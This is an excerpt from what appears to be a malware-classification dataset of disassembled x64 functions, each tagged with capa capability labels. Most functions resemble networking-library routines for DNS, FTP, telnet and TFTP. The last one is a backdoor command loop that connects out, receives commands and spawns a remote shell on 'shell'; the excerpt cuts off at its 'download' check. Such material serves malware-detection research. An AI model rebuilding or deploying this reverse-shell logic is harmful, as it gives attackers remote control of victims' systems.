joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140074ce0
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x140074ea4
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x140074e84
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x140074d3d
lea ebp, [rax + 0xe]
jmp 0x140074d49
cmp eax, 0x17
jne 0x140074df1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x140074df1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140074df1
cmp rax, rbp
jb 0x140074df1
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140074e2c
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140074e1b
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x140074dde
call qword [case.0x140057f89.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x140074e00
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x140074dee
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x140074d30
jmp 0x140074e32
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.14009c9dc]
mov rcx, rdi
call qword [fcn.14009c9dc]
jmp 0x140074e32
mov rcx, rdi
mov r14d, 8
call qword [fcn.14009c9dc]
jmp 0x140074e32
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x140074e47
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x140074e7f
test rbx, rbx
je 0x140074e7a
mov rcx, qword [rbx + 0x20]
call qword [fcn.14009c9dc]
mov rcx, qword [rbx + 0x18]
call qword [fcn.14009c9dc]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.14009c9dc]
mov rbx, rdi
test rdi, rdi
jne 0x140074e51
mov rbx, r13
jmp 0x140074e93
test rbx, rbx
jne 0x140074e93
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x140075360
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140078550
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400c4030]
mov rdi, rax
test rax, rax
je 0x1400785cd
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x1400785f8
cmp ebx, esi
je 0x1400785f8
cmp ebx, 0x8000
ja 0x1400785f8
cmp ebx, esi
jb 0x1400785f3
mov edx, ebx
mov rcx, rdi
call qword [0x1400c4030]
mov rdi, rax
test rax, rax
jne 0x140078590
mov rcx, rbp
call qword [fcn.14009c9dc]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x1400785d8
mov rcx, rdi
jmp 0x1400785d0

Function at 0x14007e9d0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400c4080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x14007ea4a
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.140063950
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14007ea6f
lea rdx, str.Error_accept__ing_server_connect
call fcn.140062cf0
lea eax, [rbx + 0x1f]
jmp 0x14007eae8
lea rdx, str.Connection_accepted_from_server_n
call fcn.140062e70
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.1400712a0
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x14007eae6
mov dl, 1
mov rcx, rsi
call fcn.140053740
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140053740
test ebx, ebx
je 0x14007eae6
mov rcx, rdi
call fcn.14007f000
mov eax, Ordinal_46
jmp 0x14007eae8
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14009b590
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14007fae0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x14007fb05
cmp dword [rax + 0x9f8], 0
je 0x14007fb31
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14007fb31
lea rdx, str.MDTM__s
call fcn.140096b30
test eax, eax
jne 0x14007fb3e
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140080970
add rsp, 0x20
pop rbx
ret
Function at 0x1400802f0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140080328
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140080440
cmp byte [rcx + 0xf0e], 0
je 0x140080340
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140080e30
cmp byte [rcx + 0xf11], 0
je 0x1400803e1
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14008039b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14008037e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.140096b30
test eax, eax
je 0x1400803d1
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x1400803c1
lea rdx, str.PRET_STOR__s
call fcn.140096b30
test eax, eax
je 0x1400803d1
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.140096b30
test eax, eax
jne 0x1400803ee
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140080da0
add rsp, 0x20
pop rbx
ret

Function at 0x140080730
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x14008077d
cmp qword [rcx + 0xa88], 0
je 0x14008077d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.140096b30
test eax, eax
jne 0x140080787
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.1400802f0
add rsp, 0x20
pop rbx
ret

Function at 0x140080910
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14008095c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14008095c
lea rdx, str.SIZE__s
call fcn.140096b30
test eax, eax
jne 0x140080969
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140080730
add rsp, 0x20
pop rbx
ret

Function at 0x140080970
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x1400809c8
cmp qword [rcx + 0xa88], 0
je 0x1400809c8
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x1400809c8
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.14007f210
jmp fcn.140080910
Function at 0x1400809d0
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x140080a05
lea rdx, str.Couldnt_set_desired_mode
call fcn.140062cf0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x140080a1c
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140062e70
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x140080a38
mov rcx, rdi
call fcn.140080910
jmp 0x140080b6f
cmp esi, 0x14
jne 0x140080b51
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140080ab9
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140080ab9
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.14004c600
test eax, eax
jne 0x140080b6f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140080aae
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140080ab9
mov rcx, qword [rsp + 0x50]
call qword [fcn.14009c9dc]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x140080add
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400aedee]
test rbp, rbp
mov r9, r8
lea rax, [0x1400b44f4]
cmovne r9, rbp
lea rcx, [0x1400a4370]
cmovne r8, rax
call fcn.140051670
mov rcx, rbp
mov r14, rax
call qword [fcn.14009c9dc]
test r14, r14
jne 0x140080b1c
lea ebx, [r14 + 0x1b]
jmp 0x140080b71
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400afa30]
call fcn.140096b30
mov rcx, r14
mov esi, eax
call qword [fcn.14009c9dc]
test esi, esi
je 0x140080b45
mov ebx, esi
jmp 0x140080b71
mov dword [rdi + 0xab8], 0x1f
jmp 0x140080b71
cmp esi, 0x15
jne 0x140080b5c
lea r8d, [rsi - 8]
jmp 0x140080b65
cmp esi, 0x16
jne 0x140080b71
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.140080440
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x140086460
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140086584
cmp r8d, 0xff
jne 0x1400864c1
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400864ab
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xaa690]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140062e70
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140062e70
cmp r8d, 0xfb
jne 0x1400864d3
lea r9, str.WILL
jmp 0x140086511
cmp r8d, 0xfc
jne 0x1400864e5
lea r9, str.WONT
jmp 0x140086511
cmp r8d, 0xfd
jne 0x1400864f7
lea r9, [0x1400ab0b4]
jmp 0x140086511
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14008656d
cmp r10d, 0x27
jg 0x140086544
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xaacb0]
test r8, r8
jne 0x140086554
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140062e70
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14008652b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140062e70
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140062e70
add rsp, 0x38
ret

Function at 0x1400868d0
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14008692f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140062cf0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.140086460
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140086ae0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140086c88
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140086b45
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140086b45
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140086b45
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140086b7c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140086bd2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140086bd2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140086bd2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140086bd2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140086bd2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140086590
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140086c34
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140062cf0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140086960
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140086c80
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140062cf0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400883f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400c4080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140088485
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400884e6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140062cf0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14009b590
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400885a1
sub ecx, 1
je 0x140088614
sub ecx, 1
je 0x140088550
cmp ecx, 1
je 0x140088533
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400afa30]
call fcn.140062cf0
jmp 0x140088614
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140088120
test eax, eax
je 0x140088614
jmp 0x1400884ba
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140088614
sub rax, rsi
cmp rax, rbp
jae 0x140088614
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140062e70
jmp 0x140088614
cmp r8d, 4
jle 0x140088614
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140088614
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140062c10
mov esi, eax
test eax, eax
je 0x1400885f3
mov edx, 5
mov rcx, rbx
call fcn.1400890e0
mov eax, esi
jmp 0x1400884ba
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140071510
mov rcx, r14
call fcn.1400717f0
test eax, eax
je 0x1400884b8
mov edx, 5
mov rcx, rbx
call fcn.1400890e0
mov eax, Ordinal_46
jmp 0x1400884ba
Function at 0x14009b3b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14009b3f2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14009b439
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14009b492
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14009b450
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14009b4d3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400ae252]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400ae253]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14009b4a0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14009c63c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009c686
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009c686
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009c686
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009c686
cmp dword [rcx + 0x84], 0xe
jbe 0x14009c686
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14009c688
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004055b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004055c0]
mov dword [rax], 1
mov rax, qword [0x004055d0]
mov dword [rax], 1
mov rax, qword [0x004055a0]
mov dword [rax], 1
mov rax, qword [0x00405490]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00405590]
mov dword [0x0040800c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00405550]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00405440]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067
Function at 0x401611
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
movzx eax, word [0x0040804e]
movzx eax, ax
mov edx, eax
lea rcx, [0x00408030]
call sym.ConnectSocket
mov qword [rbp - 8], rax
lea rax, [rbp - 0x30]
mov r8d, 0x14
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 0x14
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
jne 0x4016a1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
movzx eax, word [0x0040804e]
movzx eax, ax
mov edx, eax
lea rcx, [0x00408030]
call sym.ConnectSocket
mov qword [rbp - 8], rax
jmp 0x401898
movzx eax, byte [rbp - 0x30]
movzx eax, al
test eax, eax
jne 0x4016dd
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
movzx eax, word [0x0040804e]
movzx eax, ax
mov edx, eax
lea rcx, [0x00408030]
call sym.ConnectSocket
mov qword [rbp - 8], rax
jmp 0x401898
lea rax, [rbp - 0x30]
mov rdx, rax
lea rcx, str.Command:__s_n
call sym.printf
lea rax, [rbp - 0x30]
lea rdx, str.shell
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x401773
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.createShell
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x401749
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 0x14
lea rdx, str.Cant_Create_shell__
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
jmp 0x401635
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401635
lea rax, [rbp - 0x30]
lea rdx, str.download
mov rcx, rax
call sym.strcmp
